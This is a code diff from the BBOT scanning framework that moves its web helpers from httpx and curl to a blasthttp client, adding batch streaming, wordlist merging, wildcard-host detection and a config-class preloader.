-            from .client import BBOTAsyncClient
+        Handles: method, headers, body/data/json, timeout, follow_redirects,
+        max_redirects, proxy, retries, params, cookies, auth.
 
-            client = BBOTAsyncClient.from_config(self.config, self.target, *args, persist_cookies=False, **kwargs)
-            self.web_clients[client.retries] = client
-            return client
+        Returns (url, method, blast_kwargs) — url may be modified if params were appended.
+        """
+        method = kwargs.pop("method", "GET")
+        headers = kwargs.pop("headers", None) or {}
+        body = kwargs.pop("body", None)
+        data = kwargs.pop("data", None)
+        files = kwargs.pop("files", None)
+        json_body = kwargs.pop("json", None)
+
+        body_sources = [
+            name
+            for name, val in (("body", body), ("data", data), ("json", json_body), ("files", files))
+            if val is not None
+        ]
+        if len(body_sources) > 1:
+            raise ValueError(
+                f"request() got conflicting body kwargs {body_sources}; pass at most one of body, data, json, files"
+            )
+        timeout = kwargs.pop("timeout", self._http_timeout)
+        follow_redirects = kwargs.pop("follow_redirects", None)
+        max_redirects = kwargs.pop("max_redirects", None)
+        proxy = kwargs.pop("proxy", self._http_proxy)
+        no_proxy = kwargs.pop("no_proxy", self._http_proxy_exclude)
+        retries = kwargs.pop("retries", self._http_retries)
+        params = kwargs.pop("params", None)
+        cookies = kwargs.pop("cookies", None)
+        auth = kwargs.pop("auth", None)
+        ssl_verify = kwargs.pop("ssl_verify", None)
+        max_body_size = kwargs.pop("max_body_size", None)
+        request_target = kwargs.pop("request_target", None)
+        resolve_ip = kwargs.pop("resolve_ip", None)
+        ignore_bbot_global_settings = kwargs.pop("ignore_bbot_global_settings", False)
+
+        # -- URL params --
+        if params:
+            parsed = urlparse(url)
+            existing = parse_qs(parsed.query, keep_blank_values=True)
+            if isinstance(params, dict):
+                existing.update(params)
+            new_query = urlencode(existing, doseq=True)
+            url = urlunparse(parsed._replace(query=new_query))
+
+        # -- Headers as list of tuples --
+        header_list = []
+
+        if not ignore_bbot_global_settings:
+            # User-Agent (can be overridden by caller)
+            if "User-Agent" not in headers:
+                header_list.append(("User-Agent", self._user_agent))
+
+            # Scan-level custom headers (only for in-scope URLs)
+            if self.target.in_target(url):
+                for hk, hv in self._custom_headers.items():
+                    if hk not in headers:
+                        header_list.append((hk, str(hv)))
+
+                # Scan-level custom cookies (merge with caller cookies)
+                if self._custom_cookies:
+                    if cookies is None:
+                        cookies = {}
+                    for ck, cv in self._custom_cookies.items():
+                        if ck not in cookies:
+                            cookies[ck] = cv
+
+        # Caller-supplied headers
+        for hk, hv in headers.items():
+            if isinstance(hv, list):
+                for v in hv:
+                    header_list.append((hk, str(v)))
+            else:
+                header_list.append((hk, str(hv)))
+
+        # -- JSON body --
+        if json_body is not None:
+            body = json.dumps(json_body)
+            # Only set Content-Type if not already provided
+            if not any(k.lower() == "content-type" for k, _ in header_list):
+                header_list.append(("Content-Type", "application/json"))
+
+        # -- Form data --
+        if data is not None and body is None:
+            if isinstance(data, dict):
+                body = urlencode(data)
+                if not any(k.lower() == "content-type" for k, _ in header_list):
+                    header_list.append(("Content-Type", "application/x-www-form-urlencoded"))
+            elif isinstance(data, (str, bytes)):
+                body = str(data) if isinstance(data, bytes) else data
+
+        # -- Cookies --
+        if cookies:
+            cookie_str = "; ".join(f"{ck}={cv}" for ck, cv in cookies.items())
+            header_list.append(("Cookie", cookie_str))
+
+        # -- Basic auth --
+        if auth:
+            import base64
+
+            user, passwd = auth
+            cred = base64.b64encode(f"{user}:{passwd}".encode()).decode()
+            header_list.append(("Authorization", f"Basic {cred}"))
+
+        blast_kwargs = {
+            "method": method,
+            "headers": header_list,
+            "timeout": int(timeout) if timeout else self._http_timeout,
+            "verify_certs": bool(ssl_verify if ssl_verify is not None else self.ssl_verify_target),
+            "retries": int(retries),
+        }
+
+        if body is not None:
+            blast_kwargs["body"] = body if isinstance(body, (bytes, bytearray)) else str(body)
+        if files is not None:
+            blast_kwargs["files"] = files
+        if follow_redirects is not None:
+            blast_kwargs["follow_redirects"] = follow_redirects
+        if max_redirects is not None:
+            blast_kwargs["max_redirects"] = int(max_redirects)
+        if proxy:
+            blast_kwargs["proxy"] = proxy
+            # no_proxy lists hosts that bypass the proxy; it only has an effect
+            # alongside a proxy (blasthttp errors if it's set without one), so
+            # only forward it when a proxy is actually in play.
+            if no_proxy:
+                blast_kwargs["no_proxy"] = list(no_proxy)
+        if max_body_size is not None:
+            blast_kwargs["max_body_size"] = int(max_body_size)
+        if request_target is not None:
+            blast_kwargs["request_target"] = request_target
+        if resolve_ip is not None:
+            blast_kwargs["resolve_ip"] = resolve_ip
+
+        return url, method, blast_kwargs
 
     async def request(self, *args, **kwargs):
         """
@@ -92,23 +254,23 @@ async def request(self, *args, **kwargs):
             cookies (dict, optional): Dictionary or CookieJar object containing cookies.
             json (Any, optional): A JSON serializable Python object to send in the body.
             data (dict, optional): Dictionary, list of tuples, or bytes to send in the body.
-            files (dict, optional): Dictionary of 'name': file-like-objects for multipart encoding upload.
+            body (str, optional): Raw string body to send (not URL-encoded).
             auth (tuple, optional): Auth tuple to enable Basic/Digest/Custom HTTP auth.
             timeout (float, optional): The maximum time to wait for the request to complete.
             proxy (str, optional): HTTP proxy URL.
             allow_redirects (bool, optional): Enables or disables redirection. Defaults to None.
-            stream (bool, optional): Enables or disables response streaming.
             raise_error (bool, optional): Whether to raise exceptions for HTTP connect, timeout errors. Defaults to False.
-            client (httpx.AsyncClient, optional): A specific httpx.AsyncClient to use for the request. Defaults to self.web_client.
-            cache_for (int, optional): Time in seconds to cache the request. Not used currently. Defaults to None.
+            ssl_verify (bool, optional): Override SSL certificate verification for this request.
+                Defaults to ssl_verify_target for target traffic; pass ssl_verify_infrastructure for API/infra calls.
+            request_target (str, optional): Override the HTTP request-line target.
+            resolve_ip (str, optional): Connect TCP to this IP instead of DNS resolution.
+            ignore_bbot_global_settings (bool, optional): Skip User-Agent/header/cookie merging.
 
         Raises:
-            httpx.TimeoutException: If the request times out.
-            httpx.ConnectError: If the connection fails.
-            httpx.RequestError: For other request-related errors.
+            WebError: If raise_error is True and the request fails.
 
         Returns:
-            httpx.Response or None: The HTTP response object returned by the httpx library.
+            Response or None: The HTTP response object.
 
         Examples:
             >>> response = await self.helpers.request("https://www.evilcorp.com")
@@ -118,68 +280,151 @@ async def request(self, *args, **kwargs):
         Note:
             If the web request fails, it will return None unless `raise_error` is `True`.
         """
-        raise_error = kwargs.get("raise_error", False)
-        result = await self.run_and_return("request", *args, **kwargs)
-        if isinstance(result, dict) and "_request_error" in result:
+        raise_error = kwargs.pop("raise_error", False)
+        kwargs.pop("cache_for", None)
+        kwargs.pop("client", None)
+        kwargs.pop("stream", None)
+
+        # allow vs follow
+        allow_redirects = kwargs.pop("allow_redirects", None)
+        if allow_redirects is not None and "follow_redirects" not in kwargs:
+            kwargs["follow_redirects"] = allow_redirects
+
+        # In case of URL only as positional arg
+        if len(args) == 1:
+            kwargs["url"] = args[0]
+            args = ()
+
+        url = kwargs.pop("url", "")
+
+        if not url:
             if raise_error:
-                error_msg = result["_request_error"]
-                response = result["_response"]
-                error = self.ERROR_CLASS(error_msg)
-                error.response = response
+                error = WebError("No URL provided")
                 raise error
-        return result
+            return None
 
-    async def request_batch(self, urls, *args, **kwargs):
-        """
-        Given a list of URLs, request them in parallel and yield responses as they come in.
+        if "method" not in kwargs:
+            kwargs["method"] = "GET"
 
-        Args:
-            urls (list[str]): List of URLs to visit
-            *args: Positional arguments to pass through to httpx
-            **kwargs: Keyword arguments to pass through to httpx
+        # Translate kwargs to blasthttp format
+        url, method, blast_kwargs = self._build_blasthttp_kwargs(url, **kwargs)
 
-        Examples:
-            >>> async for url, response in self.helpers.request_batch(urls, headers={"X-Test": "Test"}):
-            >>>     if response is not None and response.status_code == 200:
-            >>>         self.hugesuccess(response)
-        """
-        agen = self.run_and_yield("request_batch", urls, *args, **kwargs)
-        while 1:
-            try:
-                yield await agen.__anext__()
-            except (StopAsyncIteration, GeneratorExit):
-                await agen.aclose()
-                break
+        try:
+            if self.http_debug:
+                log.trace(f"blasthttp request: {method} {url}")
+
+            # blasthttp returns a native coroutine via pyo3-async-runtimes
+            response = await self.client.request(url, **blast_kwargs)
+
+            if self.http_debug:
+                log.trace(
+                    f"blasthttp response from {url}: {response.status_code} "
+                    f"(Length: {len(response.content)}) headers: {response.headers}"
+                )
+            return response
 
-    async def request_custom_batch(self, urls_and_kwargs):
+        except RuntimeError as e:
+            error_msg = str(e)
+            if raise_error:
+                error = WebError(error_msg)
+                raise error
+            # Classify error for appropriate log level
+            lower = error_msg.lower()
+            if "timeout" in lower:
+                attempts = blast_kwargs.get("retries", 0) + 1
+                log.verbose(f"HTTP timeout to URL: {url} (after {attempts} attempt(s))")
+            elif "connect" in lower or "connection" in lower:
+                log.debug(f"HTTP connect failed to URL: {url}")
+            else:
+                log.trace(f"blasthttp error for {url}: {error_msg}")
+        except BaseException as e:
+            if not any(isinstance(_e, asyncio.exceptions.CancelledError) for _e in get_exception_chain(e)):
+                log.trace(f"Unhandled exception with request to URL: {url}: {e}")
+                log.trace(traceback.format_exc())
+            raise
+
+    async def request_batch_stream(self, urls, threads=10, **kwargs):
         """
-        Make web requests in parallel with custom options for each request. Yield responses as they come in.
+        Request multiple URLs in parallel via blasthttp's native Rust batch engine,
+        yielding each response as soon as it completes (completion order, not input
+        order).
 
-        Similar to `request_batch` except it allows individual arguments for each URL.
+        Applies the same header/cookie/proxy/timeout logic as ``request()`` — each
+        entry is translated into a ``blasthttp.BatchConfig`` and dispatched through
+        ``blasthttp.request_batch_stream``. A slow request no longer blocks faster
+        peers behind it, and Python work overlaps with in-flight HTTP I/O.
+
+        Each entry in ``urls`` can be:
+            - A plain URL string (uses shared ``**kwargs`` for all requests)
+            - A ``(url, per_request_kwargs)`` tuple for per-request options
+            - A ``(url, per_request_kwargs, tracker)`` tuple to attach arbitrary
+              tracking data that is yielded alongside the response
+
+        Yields:
+            When entries are plain strings: ``(url, response)``
+            When any entry includes a tracker: ``(url, response, tracker)``
 
         Args:
-            urls_and_kwargs (list[tuple]): List of tuples in the format: (url, kwargs, custom_tracker)
-                where custom_tracker is an optional value for your own internal use. You may use it to
-                help correlate requests, etc.
+            urls: URLs to visit — strings or ``(url, kwargs[, tracker])`` tuples.
+            threads (int): Concurrency passed to blasthttp. Defaults to 10.
+            **kwargs: Default keyword arguments (same as ``request()``).
+                Overridden by per-request kwargs when entries are tuples.
 
         Examples:
-            >>> urls_and_kwargs = [
-            >>>     ("http://evilcorp.com/1", {"method": "GET"}, "request-1"),
-            >>>     ("http://evilcorp.com/2", {"method": "POST"}, "request-2"),
-            >>> ]
-            >>> async for url, kwargs, custom_tracker, response in self.helpers.request_custom_batch(
-            >>>     urls_and_kwargs
-            >>> ):
-            >>>     if response is not None and response.status_code == 200:
-            >>>         self.hugesuccess(response)
+            Simple (shared kwargs)::
+
+                async for url, response in self.helpers.request_batch_stream(urls, headers={"X-Test": "Test"}):
+                    ...
+
+            Per-request kwargs with tracker::
+
+                reqs = [("http://example.com", {"method": "POST"}, "my-tracker")]
+                async for url, response, tracker in self.helpers.request_batch_stream(reqs):
+                    ...
         """
-        agen = self.run_and_yield("request_custom_batch", urls_and_kwargs)
-        while 1:
-            try:
-                yield await agen.__anext__()
-            except (StopAsyncIteration, GeneratorExit):
-                await agen.aclose()
-                break
+        import blasthttp
+
+        # Parse entries into uniform (url, req_kwargs, tracker) tuples
+        entries = []
+        has_tracker = False
+        for entry in urls:
+            if isinstance(entry, str):
+                entries.append((entry, kwargs, None))
+            elif isinstance(entry, tuple):
+                url = entry[0]
+                req_kwargs = entry[1] if len(entry) > 1 and isinstance(entry[1], dict) else kwargs
+                tracker = entry[2] if len(entry) > 2 else None
+                if tracker is not None:
+                    has_tracker = True
+                entries.append((url, req_kwargs, tracker))
+            else:
+                entries.append((str(entry), kwargs, None))
+
+        if not entries:
+            return
+
+        # Build BatchConfig objects using the same logic as request().
+        # Map each config URL back to a queue of trackers so we can correlate
+        # completion-order results to original entries even when multiple entries
+        # share a URL.
+        from collections import deque
+
+        configs = []
+        trackers_by_url = {}
+        for url, req_kwargs, tracker in entries:
+            url, method, blast_kwargs = self._build_blasthttp_kwargs(url, **req_kwargs)
+            config = blasthttp.BatchConfig(url, **blast_kwargs)
+            configs.append(config)
+            trackers_by_url.setdefault(config.url, deque()).append(tracker)
+
+        async for br in iter_batch_results(self.client.request_batch_stream(configs, concurrency=threads)):
+            response = br.response  # blasthttp.Response or None
+            if has_tracker:
+                queue = trackers_by_url.get(br.url)
+                tracker = queue.popleft() if queue else None
+                yield br.url, response, tracker
+            else:
+                yield br.url, response
 
     async def download(self, url, **kwargs):
         """
@@ -196,7 +441,7 @@ async def download(self, url, **kwargs):
                 A negative value disables caching. Defaults to -1.
             method (str, optional): The HTTP method to use for the request, defaults to 'GET'.
             raise_error (bool, optional): Whether to raise exceptions for HTTP connect, timeout errors. Defaults to False.
-            **kwargs: Additional keyword arguments to pass to the httpx request.
+            **kwargs: Additional keyword arguments to pass to request().
 
         Returns:
             Path or None: The full path of the downloaded file as a Path object if successful, otherwise None.
@@ -205,29 +450,67 @@ async def download(self, url, **kwargs):
             >>> filepath = await self.helpers.download("https://www.evilcorp.com/passwords.docx", cache_hrs=24)
         """
         success = False
+        warn = kwargs.pop("warn", True)
         raise_error = kwargs.get("raise_error", False)
         filename = kwargs.pop("filename", self.parent_helper.cache_filename(url))
         filename = truncate_filename(Path(filename).resolve())
-        kwargs["filename"] = filename
         max_size = kwargs.pop("max_size", None)
         if max_size is not None:
             max_size = self.parent_helper.human_to_bytes(max_size)
-            kwargs["max_size"] = max_size
         cache_hrs = float(kwargs.pop("cache_hrs", -1))
+
         if cache_hrs > 0 and self.parent_helper.is_cached(url):
             log.debug(f"{url} is cached at {self.parent_helper.cache_filename(url)}")
             success = True
         else:
-            result = await self.run_and_return("download", url, **kwargs)
-            if isinstance(result, dict) and "_download_error" in result:
+            try:
+                kwargs["follow_redirects"] = kwargs.pop("follow_redirects", True)
+                if "method" not in kwargs:
+                    kwargs["method"] = "GET"
+                if "ssl_verify" not in kwargs:
+                    kwargs["ssl_verify"] = self.ssl_verify_infrastructure
+                kwargs["raise_error"] = True
+                # Use a longer timeout for downloads (default 5 minutes)
+                if "timeout" not in kwargs:
+                    kwargs["timeout"] = 300
+                # Raise the body size limit for downloads
+                if "max_body_size" not in kwargs:
+                    if max_size is not None:
+                        kwargs["max_body_size"] = max_size
+                    else:
+                        kwargs["max_body_size"] = 500 * 1024 * 1024  # 500MB default
+
+                response = await self.request(url, **kwargs)
+
+                if response is None:
+                    raise HTTPStatusError(f"No response from {url}")
+
+                log.debug(f"Download result: HTTP {response.status_code}")
+                response.raise_for_status()
+
+                content = response.content
+                # Truncate if max_size specified
+                if max_size is not None:
+                    if len(content) > max_size:
+                        log.verbose(
+                            f"Size of response from {url} exceeds {bytes_to_human(max_size)}, file will be truncated"
+                        )
+                        content = content[:max_size]
+
+                with open(filename, "wb") as f:
+                    f.write(content)
+                success = True
+
+            except (HTTPStatusError, WebError, RuntimeError) as e:
+                log_fn = log.verbose
+                if warn:
+                    log_fn = log.warning
+                log_fn(f"Failed to download {url}: {e}")
                 if raise_error:
-                    error_msg = result["_download_error"]
-                    response = result["_response"]
-                    error = self.ERROR_CLASS(error_msg)
-                    error.response = response
+                    _response = getattr(e, "response", None)
+                    error = WebError(str(e))
+                    error.response = _response
                     raise error
-            elif result:
-                success = True
 
         if success:
             return filename
@@ -238,8 +521,12 @@ async def wordlist(self, path, lines=None, zip=False, zip_filename=None, **kwarg
         Allows for optional line-based truncation and caching. Returns the full path of the wordlist
         file or a truncated version of it.
 
+        Also accepts a list of paths/URLs, in which case all wordlists are fetched and merged
+        into a single deduplicated file before being returned.
+
         Args:
-            path (str): The local or remote path of the wordlist.
+            path (str | list): The local or remote path of the wordlist, or a list of paths/URLs
+                to merge into a single deduplicated wordlist.
             lines (int, optional): Number of lines to read from the wordlist.
                 If specified, will return a truncated wordlist with this many lines.
             zip (bool, optional): Whether to unzip the file after downloading. Defaults to False.
@@ -261,175 +548,64 @@ async def wordlist(self, path, lines=None, zip=False, zip_filename=None, **kwarg
 
             Fetching and truncating to the first 100 lines
             >>> wordlist_path = await self.helpers.wordlist("/root/rockyou.txt", lines=100)
+
+            Merging multiple wordlists into one
+            >>> wordlist_path = await self.helpers.wordlist(["/custom.txt", "https://example.com/wordlist.txt"])
         """
         import zipfile
 
         if not path:
             raise WordlistError(f"Invalid wordlist: {path}")
-        if "cache_hrs" not in kwargs:
-            # 4320 hrs = 180 days = 6 months
-            kwargs["cache_hrs"] = 4320
-        if self.parent_helper.is_url(path):
-            filename = await self.download(str(path), **kwargs)
-            if filename is None:
-                raise WordlistError(f"Unable to retrieve wordlist from {path}")
-        else:
-            filename = Path(path).resolve()
-            if not filename.is_file():
-                raise WordlistError(f"Unable to find wordlist at {path}")
 
-        if zip:
-            if not zip_filename:
-                raise WordlistError("zip_filename must be specified when zip is True")
-            try:
-                with zipfile.ZipFile(filename, "r") as zip_ref:
-                    if zip_filename not in zip_ref.namelist():
-                        raise WordlistError(f"File {zip_filename} not found in the zip archive {filename}")
-                    zip_ref.extract(zip_filename, filename.parent)
-                    filename = filename.parent / zip_filename
-            except Exception as e:
-                raise WordlistError(f"Error unzipping file {filename}: {e}")
+        # Handle list of wordlists - fetch each and merge into a single order-preserving deduplicated file,
+        # then fall through to the unified truncation logic below
+        if not isinstance(path, (str, Path)):
+            paths = list(path)
+            all_words = []
+            for p in paths:
+                f = await self.wordlist(p, **kwargs)
+                all_words.extend(self.parent_helper.read_file(f))
+            cache_key = "merged_wordlist:" + ":".join(sorted(str(p) for p in paths))
+            filename = self.parent_helper.cache_filename(cache_key)
+            with open(filename, "w") as f:
+                for word in dict.fromkeys(all_words):
+                    f.write(f"{word}\n")
+        else:
+            if "cache_hrs" not in kwargs:
+                # 4320 hrs = 180 days = 6 months
+                kwargs["cache_hrs"] = 4320
+            if self.parent_helper.is_url(path):
+                filename = await self.download(str(path), **kwargs)
+                if filename is None:
+                    raise WordlistError(f"Unable to retrieve wordlist from {path}")
+            else:
+                filename = Path(path).resolve()
+                if not filename.is_file():
+                    raise WordlistError(f"Unable to find wordlist at {path}")
+
+            if zip:
+                if not zip_filename:
+                    raise WordlistError("zip_filename must be specified when zip is True")
+                try:
+                    with zipfile.ZipFile(filename, "r") as zip_ref:
+                        if zip_filename not in zip_ref.namelist():
+                            raise WordlistError(f"File {zip_filename} not found in the zip archive {filename}")
+                        zip_ref.extract(zip_filename, filename.parent)
+                        filename = filename.parent / zip_filename
+                except Exception as e:
+                    raise WordlistError(f"Error unzipping file {filename}: {e}")
 
         if lines is None:
             return filename
-        else:
-            lines = int(lines)
-            with open(filename) as f:
-                read_lines = f.readlines()
-            cache_key = f"{filename}:{lines}"
-            truncated_filename = self.parent_helper.cache_filename(cache_key)
-            with open(truncated_filename, "w") as f:
-                for line in read_lines[:lines]:
-                    f.write(line)
-            return truncated_filename
-
-    async def curl(self, *args, **kwargs):
-        """
-        An asynchronous function that runs a cURL command with specified arguments and options.
-
-        This function constructs and executes a cURL command based on the provided parameters.
-        It offers support for various cURL options such as headers, post data, and cookies.
-
-        Args:
-            *args: Variable length argument list for positional arguments. Unused in this function.
-            url (str): The URL for the cURL request. Mandatory.
-            raw_path (bool, optional): If True, activates '--path-as-is' in cURL. Defaults to False.
-            headers (dict, optional): A dictionary of HTTP headers to include in the request.
-            ignore_bbot_global_settings (bool, optional): If True, ignores the global settings of BBOT. Defaults to False.
-            post_data (dict, optional): A dictionary containing data to be sent in the request body.
-            method (str, optional): The HTTP method to use for the request (e.g., 'GET', 'POST').
-            cookies (dict, optional): A dictionary of cookies to include in the request.
-            path_override (str, optional): Overrides the request-target to use in the HTTP request line.
-            head_mode (bool, optional): If True, includes '-I' to fetch headers only. Defaults to None.
-            raw_body (str, optional): Raw string to be sent in the body of the request.
-            **kwargs: Arbitrary keyword arguments that will be forwarded to the HTTP request function.
-
-        Returns:
-            str: The output of the cURL command.
-
-        Raises:
-            CurlError: If 'url' is not supplied.
-
-        Examples:
-            >>> output = await curl(url="https://example.com", headers={"X-Header": "Wat"})
-            >>> print(output)
-        """
-        url = kwargs.get("url", "")
-
-        if not url:
-            raise CurlError("No URL supplied to CURL helper")
-
-        curl_command = ["curl", url, "-s"]
-
-        raw_path = kwargs.get("raw_path", False)
-        if raw_path:
-            curl_command.append("--path-as-is")
-
-        # respect global ssl verify settings
-        if self.ssl_verify is not True:
-            curl_command.append("-k")
-
-        headers = kwargs.get("headers", {})
-        cookies = kwargs.get("cookies", {})
-
-        ignore_bbot_global_settings = kwargs.get("ignore_bbot_global_settings", False)
-
-        if ignore_bbot_global_settings:
-            http_timeout = 20  # setting 20 as a worse-case setting
-            log.debug("ignore_bbot_global_settings enabled. Global settings will not be applied")
-        else:
-            http_timeout = self.parent_helper.web_config.get("http_timeout", 20)
-            user_agent = self.parent_helper.web_config.get("user_agent", "BBOT")
-
-            if "User-Agent" not in headers:
-                headers["User-Agent"] = user_agent
-
-            # only add custom headers / cookies if the URL is in-scope
-            if self.parent_helper.preset.in_scope(url):
-                for hk, hv in self.web_config.get("http_headers", {}).items():
-                    # Only add the header if it doesn't already exist in the headers dictionary
-                    if hk not in headers:
-                        headers[hk] = hv
-
-                for ck, cv in self.web_config.get("http_cookies", {}).items():
-                    # don't clobber cookies
-                    if ck not in cookies:
-                        cookies[ck] = cv
-
-        # add the timeout
-        if "timeout" not in kwargs:
-            timeout = http_timeout
-
-        curl_command.append("-m")
-        curl_command.append(str(timeout))
-
-        for k, v in headers.items():
-            if isinstance(v, list):
-                for x in v:
-                    curl_command.append("-H")
-                    curl_command.append(f"{k}: {x}")
-
-            else:
-                curl_command.append("-H")
-                curl_command.append(f"{k}: {v}")
-
-        post_data = kwargs.get("post_data", {})
-        if len(post_data.items()) > 0:
-            curl_command.append("-d")
-            post_data_str = ""
-            for k, v in post_data.items():
-                post_data_str += f"&{k}={v}"
-            curl_command.append(post_data_str.lstrip("&"))
-
-        method = kwargs.get("method", "")
-        if method:
-            curl_command.append("-X")
-            curl_command.append(method)
-
-        cookies = kwargs.get("cookies", "")
-        if cookies:
-            curl_command.append("-b")
-            cookies_str = ""
-            for k, v in cookies.items():
-                cookies_str += f"{k}={v}; "
-            curl_command.append(f"{cookies_str.rstrip(' ')}")
-
-        path_override = kwargs.get("path_override", None)
-        if path_override:
-            curl_command.append("--request-target")
-            curl_command.append(f"{path_override}")
-
-        head_mode = kwargs.get("head_mode", None)
-        if head_mode:
-            curl_command.append("-I")
-
-        raw_body = kwargs.get("raw_body", None)
-        if raw_body:
-            curl_command.append("-d")
-            curl_command.append(raw_body)
-        log.verbose(f"Running curl command: {curl_command}")
-        output = (await self.parent_helper.run(curl_command)).stdout
-        return output
+        lines = int(lines)
+        with open(filename) as f:
+            read_lines = f.readlines()
+        cache_key = f"{filename}:{lines}"
+        truncated_filename = self.parent_helper.cache_filename(cache_key)
+        with open(truncated_filename, "w") as f:
+            for line in read_lines[:lines]:
+                f.write(line)
+        return truncated_filename
 
     def beautifulsoup(
         self,
@@ -474,13 +650,16 @@ def beautifulsoup(
             - Write tests for this function
 
         Examples:
-            >>> soup = self.helpers.beautifulsoup(event.data["body"], "html.parser")
+            >>> soup = self.helpers.beautifulsoup(event.body, "html.parser")
             Perform an html parse of the 'markup' argument and return a soup instance
 
             >>> email_type = soup.find(type="email")
             Searches the soup instance for all occurrences of the passed in argument
         """
         try:
+            # If a response object is passed, extract the text
+            if hasattr(markup, "text") and not isinstance(markup, (str, bytes)):
+                markup = markup.text
             soup = BeautifulSoup(
                 markup, features, builder, parse_only, from_encoding, exclude_encodings, element_classes, **kwargs
             )
@@ -489,9 +668,71 @@ def beautifulsoup(
             log.debug(f"Error parsing beautifulsoup: {e}")
             return False
 
+    async def is_http_wildcard_host(self, scheme, host, port):
+        """Detect whether a host returns the same response regardless of URL path.
+
+        Probes two random paths and the root URL via HttpCompare. Cached per
+        (scheme, host, port); 3 HTTP requests on first call, instant thereafter.
+
+        Returns:
+            HttpCompare -- host is a wildcard responder (cached baseline).
+            False       -- host distinguishes responses by path.
+            None        -- probe failed after retry; treat as unknown.
+        """
+        key = (scheme, host, port)
+        if key in self._wildcard_cache:
+            return self._wildcard_cache[key]
+        async with self._wildcard_locks.lock(key):
+            if key in self._wildcard_cache:
+                return self._wildcard_cache[key]
+            result = await self._probe_wildcard_host(scheme, host, port)
+            if result == "retry":
+                log.debug(f"is_http_wildcard_host: first probe failed for {host}:{port}; retrying once")
+                result = await self._probe_wildcard_host(scheme, host, port)
+                if result == "retry":
+                    log.debug(f"is_http_wildcard_host: retry also failed for {host}:{port}; caching as unknown")
+                    self._wildcard_cache[key] = None
+                    return None
+            self._wildcard_cache[key] = result
+            return result
+
+    async def _probe_wildcard_host(self, scheme, host, port):
+        """Single probe attempt. Returns HttpCompare (wildcard), False (not wildcard), or "retry"."""
+        baseline_url_1 = (
+            f"{scheme}://{host}:{port}/{self.parent_helper.rand_string(12)}/{self.parent_helper.rand_string(8)}"
+        )
+        baseline_url_2 = (
+            f"{scheme}://{host}:{port}/{self.parent_helper.rand_string(12)}/{self.parent_helper.rand_string(8)}"
+        )
+        compare = HttpCompare(
+            baseline_url_1,
+            self.parent_helper,
+            allow_redirects=False,
+            timeout=10,
+            baseline_url_2=baseline_url_2,
+        )
+        try:
+            await compare._baseline()
+        except HttpCompareError as e:
+            log.debug(f"is_http_wildcard_host: baseline failed for {host}:{port}: {e}")
+            return "retry"
+        root_url = f"{scheme}://{host}:{port}/"
+        try:
+            root_match, root_reasons, _, _ = await compare.compare(root_url)
+        except HttpCompareError as e:
+            log.debug(f"is_http_wildcard_host: root probe failed for {host}:{port}: {e}")
+            return "retry"
+        if not root_match:
+            log.debug(
+                f"is_http_wildcard_host: {host}:{port} root distinct from random-path baseline ({root_reasons}); not a wildcard"
+            )
+            return False
+        log.verbose(f"is_http_wildcard_host: {scheme}://{host}:{port} is an HTTP wildcard responder")
+        return compare
+
     def response_to_json(self, response):
         """
-        Convert web response to JSON object, similar to the output of `httpx -irr -json`
+        Convert web response to JSON object, to a JSON-serializable dict.
         """
 
         if response is None:
diff --git a/bbot/core/helpers/yara_helper.py b/bbot/core/helpers/yara_helper.py
index 7f9428b55b..7ee37451c0 100644
--- a/bbot/core/helpers/yara_helper.py
+++ b/bbot/core/helpers/yara_helper.py
@@ -40,7 +40,7 @@ async def match(self, compiled_rules, text):
         Given a compiled YARA rule and a body of text, return a list of strings that match the rule
         """
         matched_strings = []
-        matches = await self.parent_helper.run_in_executor(compiled_rules.match, data=text)
+        matches = await self.parent_helper.run_in_executor_cpu(compiled_rules.match, data=text)
         if matches:
             for match in matches:
                 for string_match in match.strings:
diff --git a/bbot/core/modules.py b/bbot/core/modules.py
index 2360129457..cee81ef6f2 100644
--- a/bbot/core/modules.py
+++ b/bbot/core/modules.py
@@ -1,15 +1,18 @@
+import os
 import re
 import ast
 import sys
+import stat
+import yaml
 import atexit
+import shutil
 import pickle
 import logging
+import tempfile
 import importlib
-import omegaconf
 import traceback
 from copy import copy
 from pathlib import Path
-from omegaconf import OmegaConf
 from contextlib import suppress
 
 from bbot.core import CORE
@@ -40,6 +43,229 @@ def find_class(self, module, name):
 bbot_code_dir = Path(__file__).parent.parent
 
 
+# Bump when the preloader's output schema or validation rules change. Folded
+# into the per-module cache_key so stale entries from older bbot versions get
+# rebuilt instead of silently bypassing new checks.
+PRELOAD_CACHE_VERSION = 3
+
+
+_UNEVALUATED = object()
+
+
+def _eval_ast_default(node):
+    """
+    Extract a literal default value from an AST node. Returns _UNEVALUATED if
+    the node can't be resolved statically (e.g. `default_factory=lambda: ...`
+    or a non-constant expression). Preload uses this for display-time defaults
+    only; actual validation happens at bake time against the real pydantic
+    Config class.
+    """
+    if node is None:
+        return _UNEVALUATED
+    try:
+        return ast.literal_eval(node)
+    except (ValueError, TypeError, SyntaxError):
+        # Recognize a few common default_factory values.
+        if isinstance(node, ast.Name):
+            return {"list": [], "dict": {}, "set": set(), "tuple": (), "str": "", "int": 0, "float": 0.0}.get(
+                node.id, _UNEVALUATED
+            )
+        return _UNEVALUATED
+
+
+def _exec_config_class(source: str, module_name: str):
+    """
+    Execute a `class Config(BaseModuleConfig):` snippet in a controlled
+    namespace and return the resulting class. The namespace provides exactly
+    what a Config block is allowed to reference: the typing primitives,
+    pydantic's `Field` factory and validator decorators, and `BaseModuleConfig`.
+
+    This replaces parsing annotations as strings: pydantic handles every
+    valid type expression (`Optional[str]`, `Literal["a", "b"]`,
+    `list[Union[int, str]]`, …) without any hand-rolled resolver.
+    """
+    from typing import Annotated, Any, Dict, List, Literal, Optional, Set, Tuple, Union
+    from pydantic import AfterValidator, BeforeValidator, field_validator, model_validator
+    from bbot.core.config.models import BaseModuleConfig, ConfidenceLiteral, Field, SeverityLiteral
+
+    namespace: dict = {
+        "Annotated": Annotated,
+        "Any": Any,
+        "Dict": Dict,
+        "List": List,
+        "Literal": Literal,
+        "Optional": Optional,
+        "Set": Set,
+        "Tuple": Tuple,
+        "Union": Union,
+        "Field": Field,
+        "field_validator": field_validator,
+        "model_validator": model_validator,
+        "BeforeValidator": BeforeValidator,
+        "AfterValidator": AfterValidator,
+        "BaseModuleConfig": BaseModuleConfig,
+        "SeverityLiteral": SeverityLiteral,
+        "ConfidenceLiteral": ConfidenceLiteral,
+    }
+    try:
+        exec(source, namespace)
+    except Exception as e:
+        raise BBOTError(
+            f'module "{module_name}" has an invalid Config class ({type(e).__name__}: {e}). '
+            "Config blocks may only reference: Optional, Union, Literal, Any, List, Dict, Tuple, Set, "
+            "Field, field_validator, model_validator, BeforeValidator, AfterValidator, BaseModuleConfig, "
+            "and Python builtins."
+        ) from e
